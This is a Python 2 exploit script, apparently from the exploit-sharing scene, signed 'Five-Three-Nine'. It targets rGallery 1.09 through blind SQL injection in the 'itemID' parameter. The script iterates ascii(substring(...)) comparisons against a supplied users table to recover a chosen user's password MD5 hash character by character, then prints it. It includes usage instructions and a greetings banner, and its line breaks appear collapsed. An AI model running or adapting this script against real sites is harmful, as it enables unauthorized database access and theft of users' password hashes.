import sys, urllib2, re print "\n " print " \\#'#/ " print " (-.-) " print " -------------------oOO---(_)---OOo--------------------" print " | rGallery 1.09 (+-) Exploit by Five-Three-Nine |" print " | Using Blind SQL Injection in 'itemID' of rGallery |" print " | |" print " | Greets and Shouts to: |" print " | tmh, n00bor, activebeta, Ghost, Saufkumpel, Altair |" print " | crusader727, Nemo, Loader007, J0hn.X3r, sNiper109 |" print " ------------------------------------------------------\n" if len(sys.argv) != 5: print "\nUsage: ./rGallery.py <UserID> <UserTable> <ImageID> <site>" print "Ex: ./rGallery.py 1 bb1_users 19 http://example.com\n" sys.exit(1) UserID = sys.argv[1] Prefix = sys.argv[2] ImageID = sys.argv[3] Host = sys.argv[4] Res = [48,49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102] MD5 = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32] Hash = "" UserID = int(UserID) UserID -= 1 UserID = str(UserID) for MD5Count in range(32): for ResCount in range(16): try: source = urllib2.urlopen(Host +"/index.php?page=RGalleryImageWrapper&itemID=" + ImageID +"%20and%20ascii(substring((SELECT%20password%20from%20" + Prefix +"%20limit%20"+ UserID + ",1)," + str(MD5Count + 1) + ",1))="+ str(Res[ResCount])).read() print "[+] Character " + str(MD5Count + 1) + " found! " + str(Res[ResCount]) MD5[MD5Count] = Res[ResCount] break except(urllib2.URLError): continue except(urllib2.HTTPError): print "[+] Error: Can't load the Site" sys.exit(1) for i in MD5: Hash = Hash + str(chr(i)) print "\n[+] Hash: " + Hash